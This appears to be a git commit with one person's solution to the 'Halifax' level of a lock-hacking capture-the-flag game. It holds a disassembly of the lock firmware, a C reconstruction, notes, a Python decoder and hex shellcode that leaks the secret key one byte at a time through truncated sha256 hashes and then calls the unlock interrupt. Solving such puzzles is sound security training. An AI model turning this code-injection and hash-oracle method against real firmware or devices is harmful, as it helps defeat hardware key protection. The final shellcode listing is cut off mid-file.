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Upload what I've got on Halifax so far
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373
25-Halifax/Halifax.asm
Normal file
373
25-Halifax/Halifax.asm
Normal file
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Hex:
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:10 4400 00 55425C0135D0085A8245002831400044 AD
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:10 4410 00 3F4000000F930824924200285C012F83 44
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:10 4420 00 9F4F6E470024F8233F4000040F930724 5A
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:10 4430 00 924200285C011F83CF430024F9233150 AE
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:10 4440 00 E0FF3F403446B01286453F405846B012 28
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:10 4450 00 86450312031230124000B01250453150 0D
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:10 4460 00 06003F406F46B0128645031203123012 19
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:10 4470 00 7F00B0125045315006003F409146B012 C7
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:10 4480 00 86453F40C646B01286453D4020000E43 5B
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:10 4490 00 0F41B012C8453F40FC46B01286450D41 61
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:10 44A0 00 3E4000100F43B012B6450B430F410F5B 67
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:10 44B0 00 6E4F0F4E3FF00F005A4F104712C34E10 71
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:10 44C0 00 12C34E1012C34E1012C34E103EF00F00 16
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:10 44D0 00 5F4E1047B01278454F4AB01278451B53 D3
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:10 44E0 00 3B902000E3233F402147B01286453F40 E8
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:10 44F0 00 2247B01286453D4000040E433F400024 51
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:10 4500 00 B012C8453E40FF033F400024B0126845 4A
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:10 4510 00 5B4200248B105F4201240BDF5A420224 CD
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:10 4520 00 2A93052C3F403E47B0128645E03F3F40 6E
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:10 4530 00 5547B01286450D4A3E4003240F4BB012 3A
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:10 4540 00 A4458B12D43F32D0F000FD3F30403246 BC
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:10 4550 00 1F41020002124F4F8F103FD00080024F C8
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:10 4560 00 B0121000324130410E120F122312B012 5D
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:10 4570 00 50453150060030418F110F120312B012 16
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:10 4580 00 5045215230410B120B4F033C1B53B012 CC
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:10 4590 00 78456F4B4F93FA237F400A00B0127845 5D
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:10 45A0 00 3B4130410C4F043CFC4E00001C533D53 3A
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:10 45B0 00 0D93FA2330410D120E120F1230124100 EA
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:10 45C0 00 B0125045315230410B120A1209120812 32
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:10 45D0 00 3D900600092C0C4F043CCC4E00001C53 AF
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:10 45E0 00 3D530D93FA23203C4E4E4B4E0B930324 28
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:10 45F0 00 0C4B8C100BDC1FB306243D53CF4E0000 38
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:10 4600 00 094F1953013C094F0C4D12C30C100A49 B4
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:10 4610 00 084C8A4B00002A533853FB230C5C0C59 7E
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:10 4620 00 1DF30224CC4E0000384139413A413B41 50
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:04 4630 00 30410013 02
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Strings:
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:10 4634 00 57656C636F6D6520746F207468652074 B2
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:10 4644 00 6573742070726F6772616D206C6F6164 42
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:10 4654 00 65722E00456E61626C696E6720686172 D6
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:10 4664 00 64656E6564206D6F6465005665726966 85
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:10 4674 00 79696E67203078376620696E74657272 66
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:10 4684 00 7570742064697361626C656400307837 96
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:10 4694 00 6620696E746572727570742064697361 E2
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:10 46A4 00 626C65642C206B65792073746F726564 29
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:10 46B4 00 20696E20696E7465726E616C20535241 7C
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:10 46C4 00 4D00756E6C6F636B2062792070726F76 2B
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:10 46D4 00 6964696E672074686520313620627974 74
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:10 46E4 00 65206B657920746F203078343120696E D1
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:10 46F4 00 7465727275707400496E7465726E616C 63
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:10 4704 00 205352414D20486173683A0030313233 AE
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:10 4714 00 3435363738394142434445460000506C FD
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:10 4724 00 6561736520656E746572206465627567 82
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:10 4734 00 207061796C6F61642E00496E76616C69 DA
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:10 4744 00 64207061796C6F6164206C656E677468 55
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:10 4754 00 00457865637574696E67206465627567 82
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:0A 4764 00 207061796C6F61640000 41
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Vector_Table:
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:10 FF80 00 4C454C454C454C454C454C454C454C45 E9
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:10 FF90 00 4C454C454C454C454C454C454C450044 26
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Entry:
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:04 0000 03 00004400 B5
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:00 0000 01 FF
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Obj:
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0010 <__trap_interrupt>
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0010: 3041 ret
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4400 <__watchdog_support>
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4400: 5542 5c01 mov.b &0x015c, r5
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4404: 35d0 085a bis #0x5a08, r5
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4408: 8245 0028 mov r5, &0x2800
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440c <__init_stack>
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440c: 3140 0044 mov #0x4400 <__watchdog_support>, sp
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4410 <__do_copy_data>
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4410: 3f40 0000 clr r15
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4414: 0f93 tst r15
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4416: 0824 jz #0x4428 <__do_clear_bss+0x0>
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4418: 9242 0028 5c01 mov &0x2800, &0x015c
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441e: 2f83 decd r15
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4420: 9f4f 6e47 0024 mov 0x476e(r15), 0x2400(r15)
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4426: f823 jnz #0x4418 <__do_copy_data+0x8>
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4428 <__do_clear_bss>
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4428: 3f40 0004 mov #0x400, r15
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442c: 0f93 tst r15
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442e: 0724 jz #0x443e <main+0x0>
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4430: 9242 0028 5c01 mov &0x2800, &0x015c
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4436: 1f83 dec r15
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4438: cf43 0024 mov.b #0x0, 0x2400(r15)
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443c: f923 jnz #0x4430 <__do_clear_bss+0x8>
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443e <main>
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; char sha_buf[0x20];
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443e: 3150 e0ff add #0xffe0, sp
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; puts ("Welcome to the test program loader.");
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4442: 3f40 3446 mov #0x4634 "Welcome to the test program loader." <__data_start+0x2234>, r15
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4446: b012 8645 call #0x4586 <puts>
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; puts ("Enabling hardened mode");
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444a: 3f40 5846 mov #0x4658 "Enabling hardened mode" r15
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444e: b012 8645 call #0x4586 <puts>
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; INT (0x40);
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4452: 0312 push #0x0
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4454: 0312 push #0x0
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4456: 3012 4000 push #0x40
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445a: b012 5045 call #0x4550 <INT>
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445e: 3150 0600 add #0x6, sp
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; puts ("Verifying 0x7f interrupt disabled");
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4462: 3f40 6f46 mov #0x466f "Verifying 0x7f interrupt disabled" r15
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4466: b012 8645 call #0x4586 <puts>
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; INT (0x7f);
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446a: 0312 push #0x0
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446c: 0312 push #0x0
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446e: 3012 7f00 push #0x7f
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4472: b012 5045 call #0x4550 <INT>
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4476: 3150 0600 add #0x6, sp
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; puts ("0x7f interrupt disabled, key stored in internal SRAM");
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447a: 3f40 9146 mov #0x4691 "0x7f interrupt disabled, key stored in internal SRAM" r15
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447e: b012 8645 call #0x4586 <puts>
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; puts ("unlock by providing the 16 byte key to 0x41 interrupt");
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4482: 3f40 c646 mov #0x46c6 "unlock by providing the 16 byte key to 0x41 interrupt" r15
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4486: b012 8645 call #0x4586 <puts>
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; memset (&sha_buf, 0, 0x20);
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448a: 3d40 2000 mov #0x20, r13
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448e: 0e43 clr r14
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4490: 0f41 mov sp, r15
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4492: b012 c845 call #0x45c8 <memset>
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; puts ("Internal SRAM Hash:");
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4496: 3f40 fc46 mov #0x46fc "Internal SRAM Hash:" r15
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449a: b012 8645 call #0x4586 <puts>
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; sha256_internal (0, 0x1000, &sha_buf);
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449e: 0d41 mov sp, r13
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44a0: 3e40 0010 mov #0x1000, r14
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44a4: 0f43 clr r15
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44a6: b012 b645 call #0x45b6 <sha256_internal>
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print_hash_inline:
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; for (i /* r11 */ = 0; i != 0x20; i++)
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44aa: 0b43 clr r11
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pha_loop:
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; byte /* r14 */ = hash[i];
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44ac: 0f41 mov sp, r15
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44ae: 0f5b add r11, r15
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44b0: 6e4f mov.b @r15, r14
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; lower_nibble /* r15 */ = byte & 0xf;
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44b2: 0f4e mov r14, r15
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44b4: 3ff0 0f00 and #0xf, r15
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; lower_char /* r11 */ = "0123456789ABCDEF"[lower_nibble];
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44b8: 5a4f 1047 mov.b 0x4710(r15), r10
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; upper_nibble /* r14 */ = (byte >> 0x4) & 0xf;
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44bc: 12c3 clrc
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44be: 4e10 rrc.b r14
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44c0: 12c3 clrc
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44c2: 4e10 rrc.b r14
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44c4: 12c3 clrc
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44c6: 4e10 rrc.b r14
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44c8: 12c3 clrc
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44ca: 4e10 rrc.b r14
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44cc: 3ef0 0f00 and #0xf, r14
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; putchar("0123456789ABCDEF"[upper_nibble]);
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44d0: 5f4e 1047 mov.b 0x4710(r14), r15
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44d4: b012 7845 call #0x4578 <putchar>
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; putchar(lower_char)
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44d8: 4f4a mov.b r10, r15
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44da: b012 7845 call #0x4578 <putchar>
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; ... i != 0x20; i++)
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44de: 1b53 inc r11
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44e0: 3b90 2000 cmp #0x20, r11
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44e4: e323 jne #0x44ac <main+0x6e> <pha_loop>
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; puts (""); // prints newline
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44e6: 3f40 2147 mov #0x4721, r15
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44ea: b012 8645 call #0x4586 <puts>
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; while(true) {
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; puts ("Please enter debug payload.");
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44ee: 3f40 2247 mov #0x4722 "Please enter debug payload." r15
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44f2: b012 8645 call #0x4586 <puts>
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; memset (0x2400, 0, 0x400);
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44f6: 3d40 0004 mov #0x400, r13
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44fa: 0e43 clr r14
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44fc: 3f40 0024 mov #0x2400, r15
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4500: b012 c845 call #0x45c8 <memset>
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; getsn (0x2400, 0x3ff);
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4504: 3e40 ff03 mov #0x3ff, r14
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4508: 3f40 0024 mov #0x2400, r15
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450c: b012 6845 call #0x4568 <getsn>
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; loadaddr = (buf[0] << 8) + (buf[1]);
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4510: 5b42 0024 mov.b &0x2400, r11
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4514: 8b10 swpb r11
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4516: 5f42 0124 mov.b &0x2401, r15
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451a: 0bdf bis r15, r11
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;
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451c: 5a42 0224 mov.b &0x2402, r10
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4520: 2a93 cmp #0x2, r10
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4522: 052c jc #0x452e <main+0xf0>
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4524: 3f40 3e47 mov #0x473e "Invalid payload length" r15
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4528: b012 8645 call #0x4586 <puts>
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; continue;
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452c: e03f jmp #0x44ee <main+0xb0>
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execute_debug_payload:
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452e: 3f40 5547 mov #0x4755 "Executing debug payload" r15
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4532: b012 8645 call #0x4586 <puts>
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; memcpy (loadaddr, 0x2403, len);
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4536: 0d4a mov r10, r13
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4538: 3e40 0324 mov #0x2403, r14
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453c: 0f4b mov r11, r15
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453e: b012 a445 call #0x45a4 <memcpy>
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; loadaddr();
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4542: 8b12 call r11
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; continue;
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4544: d43f jmp #0x44ee <main+0xb0>
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4546 <__stop_progExec__>
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4546: 32d0 f000 bis #0xf0, sr
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454a: fd3f jmp #0x4546 <__stop_progExec__+0x0>
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454c <__ctors_end>
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454c: 3040 3246 br #0x4632 <_unexpected_>
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4550 <INT>
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4550: 1f41 0200 mov 0x2(sp), r15
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4554: 0212 push sr
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4556: 4f4f mov.b r15, r15
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4558: 8f10 swpb r15
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455a: 3fd0 0080 bis #0x8000, r15
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455e: 024f mov r15, sr
|
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4560: b012 1000 call #0x10
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4564: 3241 pop sr
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4566: 3041 ret
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4568 <getsn>
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4568: 0e12 push r14
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456a: 0f12 push r15
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|
456c: 2312 push #0x2
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456e: b012 5045 call #0x4550 <INT>
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4572: 3150 0600 add #0x6, sp
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||||||
|
4576: 3041 ret
|
||||||
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4578 <putchar>
|
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|
4578: 8f11 sxt r15
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|
457a: 0f12 push r15
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|
457c: 0312 push #0x0
|
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|
457e: b012 5045 call #0x4550 <INT>
|
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4582: 2152 add #0x4, sp
|
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|
4584: 3041 ret
|
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|
4586 <puts>
|
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|
4586: 0b12 push r11
|
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4588: 0b4f mov r15, r11
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|
458a: 033c jmp #0x4592 <puts+0xc>
|
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|
458c: 1b53 inc r11
|
||||||
|
458e: b012 7845 call #0x4578 <putchar>
|
||||||
|
4592: 6f4b mov.b @r11, r15
|
||||||
|
4594: 4f93 tst.b r15
|
||||||
|
4596: fa23 jnz #0x458c <puts+0x6>
|
||||||
|
4598: 7f40 0a00 mov.b #0xa, r15
|
||||||
|
459c: b012 7845 call #0x4578 <putchar>
|
||||||
|
45a0: 3b41 pop r11
|
||||||
|
45a2: 3041 ret
|
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|
45a4 <memcpy>
|
||||||
|
45a4: 0c4f mov r15, r12
|
||||||
|
45a6: 043c jmp #0x45b0 <memcpy+0xc>
|
||||||
|
45a8: fc4e 0000 mov.b @r14+, 0x0(r12)
|
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|
45ac: 1c53 inc r12
|
||||||
|
45ae: 3d53 add #-0x1, r13
|
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|
45b0: 0d93 tst r13
|
||||||
|
45b2: fa23 jnz #0x45a8 <memcpy+0x4>
|
||||||
|
45b4: 3041 ret
|
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|
45b6 <sha256_internal>
|
||||||
|
45b6: 0d12 push r13
|
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|
45b8: 0e12 push r14
|
||||||
|
45ba: 0f12 push r15
|
||||||
|
45bc: 3012 4100 push #0x41
|
||||||
|
45c0: b012 5045 call #0x4550 <INT>
|
||||||
|
45c4: 3152 add #0x8, sp
|
||||||
|
45c6: 3041 ret
|
||||||
|
45c8 <memset>
|
||||||
|
45c8: 0b12 push r11
|
||||||
|
45ca: 0a12 push r10
|
||||||
|
45cc: 0912 push r9
|
||||||
|
45ce: 0812 push r8
|
||||||
|
45d0: 3d90 0600 cmp #0x6, r13
|
||||||
|
45d4: 092c jc #0x45e8 <memset+0x20>
|
||||||
|
45d6: 0c4f mov r15, r12
|
||||||
|
45d8: 043c jmp #0x45e2 <memset+0x1a>
|
||||||
|
45da: cc4e 0000 mov.b r14, 0x0(r12)
|
||||||
|
45de: 1c53 inc r12
|
||||||
|
45e0: 3d53 add #-0x1, r13
|
||||||
|
45e2: 0d93 tst r13
|
||||||
|
45e4: fa23 jnz #0x45da <memset+0x12>
|
||||||
|
45e6: 203c jmp #0x4628 <memset+0x60>
|
||||||
|
45e8: 4e4e mov.b r14, r14
|
||||||
|
45ea: 4b4e mov.b r14, r11
|
||||||
|
45ec: 0b93 tst r11
|
||||||
|
45ee: 0324 jz #0x45f6 <memset+0x2e>
|
||||||
|
45f0: 0c4b mov r11, r12
|
||||||
|
45f2: 8c10 swpb r12
|
||||||
|
45f4: 0bdc bis r12, r11
|
||||||
|
45f6: 1fb3 bit #0x1, r15
|
||||||
|
45f8: 0624 jz #0x4606 <memset+0x3e>
|
||||||
|
45fa: 3d53 add #-0x1, r13
|
||||||
|
45fc: cf4e 0000 mov.b r14, 0x0(r15)
|
||||||
|
4600: 094f mov r15, r9
|
||||||
|
4602: 1953 inc r9
|
||||||
|
4604: 013c jmp #0x4608 <memset+0x40>
|
||||||
|
4606: 094f mov r15, r9
|
||||||
|
4608: 0c4d mov r13, r12
|
||||||
|
460a: 12c3 clrc
|
||||||
|
460c: 0c10 rrc r12
|
||||||
|
460e: 0a49 mov r9, r10
|
||||||
|
4610: 084c mov r12, r8
|
||||||
|
4612: 8a4b 0000 mov r11, 0x0(r10)
|
||||||
|
4616: 2a53 incd r10
|
||||||
|
4618: 3853 add #-0x1, r8
|
||||||
|
461a: fb23 jnz #0x4612 <memset+0x4a>
|
||||||
|
461c: 0c5c add r12, r12
|
||||||
|
461e: 0c59 add r9, r12
|
||||||
|
4620: 1df3 and #0x1, r13
|
||||||
|
4622: 0224 jz #0x4628 <memset+0x60>
|
||||||
|
4624: cc4e 0000 mov.b r14, 0x0(r12)
|
||||||
|
4628: 3841 pop r8
|
||||||
|
462a: 3941 pop r9
|
||||||
|
462c: 3a41 pop r10
|
||||||
|
462e: 3b41 pop r11
|
||||||
|
4630: 3041 ret
|
||||||
|
4632 <_unexpected_>
|
||||||
|
4632: 0013 reti pc
|
||||||
|
4634 <__data_start+0x2234>
|
||||||
|
4634 .strings:
|
||||||
|
4634: "Welcome to the test program loader."
|
||||||
|
4658: "Enabling hardened mode"
|
||||||
|
466f: "Verifying 0x7f interrupt disabled"
|
||||||
|
4691: "0x7f interrupt disabled, key stored in internal SRAM"
|
||||||
|
46c6: "unlock by providing the 16 byte key to 0x41 interrupt"
|
||||||
|
46fc: "Internal SRAM Hash:"
|
||||||
|
4710: "0123456789ABCDEF"
|
||||||
|
4722: "Please enter debug payload."
|
||||||
|
473e: "Invalid payload length"
|
||||||
|
4755: "Executing debug payload"
|
||||||
|
|
||||||
|
Prereqs: "Vancouver"
|
||||||
|
Name: "Halifax"
|
||||||
|
Text:
|
||||||
|
Lockitall LOCKIT 2 r A.01
|
||||||
|
______________________________________________________________________
|
||||||
|
|
||||||
|
User Manual: Lockitall LockIT 2, rev a.01
|
||||||
|
______________________________________________________________________
|
||||||
|
|
||||||
|
|
||||||
|
OVERVIEW
|
||||||
|
|
||||||
|
- This new lock adds a hardened mode and disables the 0x7f
|
||||||
|
interrupt.
|
||||||
|
|
||||||
|
|
||||||
|
DETAILS
|
||||||
|
|
||||||
|
An example in-field debug payload follows. Any payload is
|
||||||
|
allowed, because the unlock key must be passed to the new
|
||||||
|
interrupt with code 0x41, and this key is only stored in
|
||||||
|
secure memory.
|
||||||
|
|
||||||
|
8000023041
|
||||||
|
|
||||||
|
This is Hardware Version 4.
|
||||||
|
|
||||||
|
This is Software Revision 2.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
(c) 2022 LOCKITALL Page 1/1
|
||||||
|
|
||||||
|
X:181
|
||||||
|
Y:288
|
||||||
|
Rating:20
|
||||||
|
Patch:""
|
||||||
64
25-Halifax/halifax.c
Normal file
64
25-Halifax/halifax.c
Normal file
@ -0,0 +1,64 @@
|
|||||||
|
|
||||||
|
// uC includes
|
||||||
|
#include "../common/io.c"
|
||||||
|
#include "../common/lib.c"
|
||||||
|
|
||||||
|
typedef unsigned char u8;
|
||||||
|
typedef unsigned short u16;
|
||||||
|
|
||||||
|
const char * HEX_LUT = "0123456789ABCDEF";
|
||||||
|
|
||||||
|
int main () {
|
||||||
|
u8 *buf = (mem + 0x2400); // >=> 0x2400
|
||||||
|
u8 sha_buf[0x20]; // >=> sp
|
||||||
|
|
||||||
|
puts("Welcome to the test program loader.");
|
||||||
|
|
||||||
|
puts ("Enabling hardened mode");
|
||||||
|
INT (0x40);
|
||||||
|
|
||||||
|
puts ("Verifying 0x7f interrupt disabled");
|
||||||
|
INT (0x7f);
|
||||||
|
|
||||||
|
puts ("0x7f interrupt disabled, key stored in internal SRAM");
|
||||||
|
puts ("unlock by providing the 16 byte key to 0x41 interrupt");
|
||||||
|
|
||||||
|
memset (&sha_buf, 0, 0x20);
|
||||||
|
puts ("Internal SRAM Hash:");
|
||||||
|
// address, size, out_buf
|
||||||
|
sha256_internal (0, 0x1000, (char*) &sha_buf);
|
||||||
|
|
||||||
|
addr_44aa:
|
||||||
|
for (int i /* r11 */ = 0; i != 0x20; i++) {
|
||||||
|
u8 upper_nibble /* r14 */ = sha_buf[i];
|
||||||
|
char lower_char /* r11 */ = HEX_LUT[upper_nibble & 0xf];
|
||||||
|
upper_nibble /* r14 */ = (upper_nibble >> 0x4) & 0xf;
|
||||||
|
putchar (HEX_LUT[upper_nibble]);
|
||||||
|
putchar (lower_char);
|
||||||
|
}
|
||||||
|
puts (""); // prints newline
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
u16 loadaddr /* r11 */;
|
||||||
|
u8 len /* r10 */;
|
||||||
|
puts ("Please enter debug payload.");
|
||||||
|
|
||||||
|
memset (buf, 0, 0x400);
|
||||||
|
getsn (buf, 0x3ff);
|
||||||
|
|
||||||
|
loadaddr = (buf[0] << 8) + (buf[1]);
|
||||||
|
len = buf[3];
|
||||||
|
|
||||||
|
// the program no longer checks the load address location or alignment
|
||||||
|
if (len - 6 > 0x3bb) {
|
||||||
|
puts ("Invalid payload length");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
puts ("Executing debug payload");
|
||||||
|
memcpy (mem + loadaddr, buf + 0x4, len);
|
||||||
|
|
||||||
|
// todo: *loadaddr ();
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
54
25-Halifax/halifax.py
Normal file
54
25-Halifax/halifax.py
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
import re, os
|
||||||
|
from sys import byteorder
|
||||||
|
from hashlib import sha256
|
||||||
|
|
||||||
|
# match this many hexadigits
|
||||||
|
# must be corroborated within the script
|
||||||
|
depth = 6
|
||||||
|
# bytes per message
|
||||||
|
message_size = 1
|
||||||
|
|
||||||
|
internal_sram_hash = input("Internal SRAM Hash: ").lower()
|
||||||
|
|
||||||
|
target = re.sub(r'\s+', '', input("Encoded Target: ")).lower()
|
||||||
|
|
||||||
|
# calculate LUT for given parameters
|
||||||
|
all_hashes = {}
|
||||||
|
for i in range (0, 1<<(8*message_size)):
|
||||||
|
key = sha256(i.to_bytes(length=message_size, byteorder='big', signed=False)).hexdigest()[:depth]
|
||||||
|
all_hashes[key] = i
|
||||||
|
dedup = list(dict.fromkeys(all_hashes.keys()))
|
||||||
|
print(f"distinct values in all_hashes: {len(dedup)}\n")
|
||||||
|
|
||||||
|
sram: bytearray = bytearray()
|
||||||
|
|
||||||
|
# decode
|
||||||
|
print("Decoded:")
|
||||||
|
for loc in range (0, len(target), depth*message_size):
|
||||||
|
key = target[loc:loc+depth]
|
||||||
|
try:
|
||||||
|
value = all_hashes[key]
|
||||||
|
if value:
|
||||||
|
print(f"{value:x}", end="")
|
||||||
|
|
||||||
|
except KeyError:
|
||||||
|
value = 0x00
|
||||||
|
sram.append(value)
|
||||||
|
|
||||||
|
# write to file
|
||||||
|
with open("carfax.bin", 'wb') as output:
|
||||||
|
output.write(sram)
|
||||||
|
|
||||||
|
print("")
|
||||||
|
# hexdump file
|
||||||
|
os.system("xxd carfax.bin")
|
||||||
|
|
||||||
|
# check hash against provided value
|
||||||
|
while len(sram) < 0x1000:
|
||||||
|
sram.append (0)
|
||||||
|
print (f"{sha256(sram).hexdigest()}\n{internal_sram_hash}")
|
||||||
|
|
||||||
|
if (sha256(sram).hexdigest().lower() == internal_sram_hash.lower()):
|
||||||
|
print("Hash match!")
|
||||||
28
25-Halifax/notes.md
Normal file
28
25-Halifax/notes.md
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
### Run # vs. Internal SRAM hash
|
||||||
|
|
||||||
|
| Run # | Internal SRAM Hash (sha256) |
|
||||||
|
|------:|:-------------------------------------------------------------------|
|
||||||
|
| 1 | `C19684234B668225647FAF0ADC8103131C0E70489B3A548E9223853005FA1E68` |
|
||||||
|
| 2 | `2A43E7A0C3508BB96BCFAE927776BFBC9ECAD114C022593E524AB0461AD0338A` |
|
||||||
|
| 3 | `C6E4A567CFB88E05C6F04B9AC93E94BC7AEFCA745B60C4934C02430DAB613B16` |
|
||||||
|
|
||||||
|
Hash appears random each time
|
||||||
|
Hash is given prior to user input
|
||||||
|
|
||||||
|
Approach:
|
||||||
|
Hash each individual byte of SRAM, and break the exfiltrated hashes
|
||||||
|
sha256(8 bit message) ~ identified by first 20 bits
|
||||||
|
smallest we can do on this mcu is 6 nybbles (24 bits)
|
||||||
|
Approach works!
|
||||||
|
|
||||||
|
```sh
|
||||||
|
$ ./halifax.py
|
||||||
|
> 4AE8158A8DE82D711694455E5A6E7A966C7CD12110B7D2526E340BA9253D383E5D279504A1FCE41F184F087D80594E518C2574E9B0C05C62E067C872EF2D12DF7E70D16BD262C66A19152D043A715A6E7A04D6C072DFCF4E0740E4FF5E4E0740AE3F46E52D9C7C5BD226E5BFA318C2EF6CBD4B68AB36A9E76DA43B8E35C2D4735E5FECEBA9253D98722E333E0A683257A9F515591B7CFFE679333E0A94455E2D31931F18D6FB95AA2D711667586E26E5BFEF2D128D33F544BD7A7CB7C4AE3F46
|
||||||
|
number of distinct values in all_hashes: 256
|
||||||
|
|
||||||
|
513f78eeaff2c4db005ccbdd799fab7a528950943542936dd973afb94c33c033c304c8bc2b0c58204a7132305cfc47bd45811f47ee8a1ddc7806bc35604816c3
|
||||||
|
00000000: 513f 78ee aff2 c4db 005c cbdd 799f ab7a Q?x......\..y..z
|
||||||
|
00000010: 5289 5094 3542 936d d973 afb9 4c33 c033 R.P.5B.m.s..L3.3
|
||||||
|
00000020: c304 c8bc 2b0c 5820 4a71 3230 5cfc 47bd ....+.X Jq20\.G.
|
||||||
|
00000030: 4581 1f47 ee8a 1ddc 7806 bc35 6048 16c3 E..G....x..5`H..
|
||||||
|
```
|
||||||
78
25-Halifax/shellcode copy.asm
Normal file
78
25-Halifax/shellcode copy.asm
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
; just
|
||||||
|
6000 1c 0b43 1e43 3d400080 0f4b b012b645 3d500300 1b53 3b906000 f72b 3041
|
||||||
|
|
||||||
|
; where depth = number of nibbles in each truncated hash
|
||||||
|
; msize = number of bytes per hash
|
||||||
|
|
||||||
|
;* depth 8, message size 2
|
||||||
|
;? completes in 67234 cycles
|
||||||
|
6000 6c
|
||||||
|
0b43 2e43 3d400080 0f4b b012b645 3d500400 1b53 3b902000 f72b
|
||||||
|
0b43 5e4b0080 4f4e 0f11 0f11 0f11 0f11 12c3 3ef00f00 3ff0 0f00 5f4f1047 b0127845 5f4e1047 b0127845 1b53 3b908000 e82b
|
||||||
|
3e4040003f400090b0126845
|
||||||
|
0f433d400090b012b645
|
||||||
|
3f407f00b0125045 3041
|
||||||
|
|
||||||
|
|
||||||
|
get_sram_hashes:
|
||||||
|
0b43 2e43 3d400080 0f4b b012b645 2d52 1b53 3b902000 f72b
|
||||||
|
0b43 clr r11 ; loop variable in r11
|
||||||
|
2e43 mov #2, r14 ; r14 = 2
|
||||||
|
3d40 0080 mov #0x8000, r13 ; set destination to 0x8000
|
||||||
|
|
||||||
|
loop:
|
||||||
|
0f4b mov r11, r15 ; mov addr r15
|
||||||
|
b012 b645 call #0x45b6 ; <sha256_internal>
|
||||||
|
2d52 add #4, r13 ; keep 4 bytes of the output
|
||||||
|
1b53 inc r11 ; inc r11
|
||||||
|
3b90 2000 cmp #0x20, r11 ; do that 0x1000 times
|
||||||
|
f72b jnc $-0xe
|
||||||
|
|
||||||
|
print_hex:
|
||||||
|
0b43 5e4b0080 4f4e 0f11 0f11 0f11 0f11 12c3 3ef00f00 3ff0 0f00 5f4f1047 b0127845 5f4e1047 b0127845 1b53 3b908000 e82b
|
||||||
|
|
||||||
|
0b43 clr r11;
|
||||||
|
5e4b 0080 mov.b 0x8000(r11), r14
|
||||||
|
4f4e mov.b r14, r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
12c3 clrc
|
||||||
|
3ef0 0f00 and #0xf, r14
|
||||||
|
3ff0 0f00 and #0xf, r15
|
||||||
|
5f4f 1047 mov.b 0x4710(r15), r15
|
||||||
|
b012 7845 call #0x4578 ; <putchar>
|
||||||
|
5f4e 1047 mov.b 0x4710(r14), r15
|
||||||
|
b012 7845 call #0x4578 ; <putchar>
|
||||||
|
1b53 add 0(r3), r11 ; inc r11
|
||||||
|
3b90 8000 cmp #0x80, r11 ; do that 0x20*4 times
|
||||||
|
e82b jnc $-0x28
|
||||||
|
|
||||||
|
take_input:
|
||||||
|
3e4040003f400090b0126845
|
||||||
|
|
||||||
|
3e40 4000 mov #0x40, r14
|
||||||
|
3f40 0090 mov #0x9000, r15
|
||||||
|
b012 6845 call #0x4568; <getsn>
|
||||||
|
|
||||||
|
check_password_questionmark:
|
||||||
|
0f433d400090b012b645
|
||||||
|
|
||||||
|
0f43 clr r15
|
||||||
|
;3e40 0010 mov #0x1000, r14 ; set length to 0x1000
|
||||||
|
3d40 0090 mov #0x9000, r13 ; set buffer to 0x9000
|
||||||
|
b012 b645 call #0x45b6 ; <sha256_internal>
|
||||||
|
|
||||||
|
unlock7f:
|
||||||
|
324000ffb0121000 0243 3041
|
||||||
|
|
||||||
|
324000ff mov #ff00, sr
|
||||||
|
b0121000 call #0x10
|
||||||
|
0243 mov #0, sr
|
||||||
|
|
||||||
|
30127f00b0125045
|
||||||
|
3012 7f00 push 0x7f
|
||||||
|
b012 5045 call 0x4550
|
||||||
|
|
||||||
|
3041 ret
|
||||||
88
25-Halifax/shellcode.asm
Normal file
88
25-Halifax/shellcode.asm
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
; just
|
||||||
|
6000 1c 0b43 1e43 3d400080 0f4b b012b645 3d500300 1b53 3b906000 f72b 3041
|
||||||
|
|
||||||
|
; where depth = number of nibbles in each truncated hash
|
||||||
|
; msize = number of bytes per hash
|
||||||
|
|
||||||
|
;* depth 8, message size 2
|
||||||
|
;? completes in 67234 cycles
|
||||||
|
6000 6c
|
||||||
|
0b432e433d4000800f4bb012b6452d521b533b904000f82b
|
||||||
|
0b435e4b00804f4e0f110f110f110f1112c33ef00f003ff00f005f4f1047b01278455f4e1047b01278451b533b900001e82b
|
||||||
|
3e4040003f400090b0126845
|
||||||
|
0f433d400090b012b645
|
||||||
|
3f407f00b0125045 3041
|
||||||
|
|
||||||
|
;* depth 6, message size 1
|
||||||
|
;? completes in 61899 cycles
|
||||||
|
6000 6d
|
||||||
|
0b431e433d4000800f4bb012b6453d5003001b533b906000f72b
|
||||||
|
0b435e4b00804f4e0f110f110f110f1112c33ef00f003ff00f005f4f1047b01278455f4e1047b01278451b533b90c000e82b
|
||||||
|
3e4040003f400090b0126845
|
||||||
|
0f433d400090b012b645
|
||||||
|
3f407f00b0125045 3041
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
get_sram_hashes:
|
||||||
|
0b43 1e43 3d400080 0f4b b012b645 3d500300 1b53 3b908000 f72b
|
||||||
|
0b43 clr r11 ; loop variable in r11
|
||||||
|
1e43 mov 0(r3), r14 ; r14 = 1
|
||||||
|
3d40 0080 mov #0x8000, r13 ; set destination to 0x8000
|
||||||
|
|
||||||
|
loop:
|
||||||
|
0f4b mov r11, r15 ; mov addr r15
|
||||||
|
b012 b645 call #0x45b6 ; <sha256_internal>
|
||||||
|
3d50 0300 add #3, r13 ; keep 3 bytes of the output
|
||||||
|
1b53 add 0(r3), r11 ; inc r11
|
||||||
|
3b90 6000 cmp #0x80, r11 ; do that 0x1000 times
|
||||||
|
f72b jnc $-0x10
|
||||||
|
|
||||||
|
print_hex:
|
||||||
|
0b43 5e4b0080 4f4e 0f11 0f11 0f11 0f11 12c3 3ef00f00 3ff0 0f00 5f4f1047 b0127845 5f4e1047 b0127845 1b53 3b90 c000 e82b
|
||||||
|
|
||||||
|
0b43 clr r11;
|
||||||
|
5e4b 0080 mov.b 0x8000(r11), r14
|
||||||
|
4f4e mov.b r14, r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
0f11 rra.b r15
|
||||||
|
12c3 clrc
|
||||||
|
3ef0 0f00 and #0xf, r14
|
||||||
|
3ff0 0f00 and #0xf, r15
|
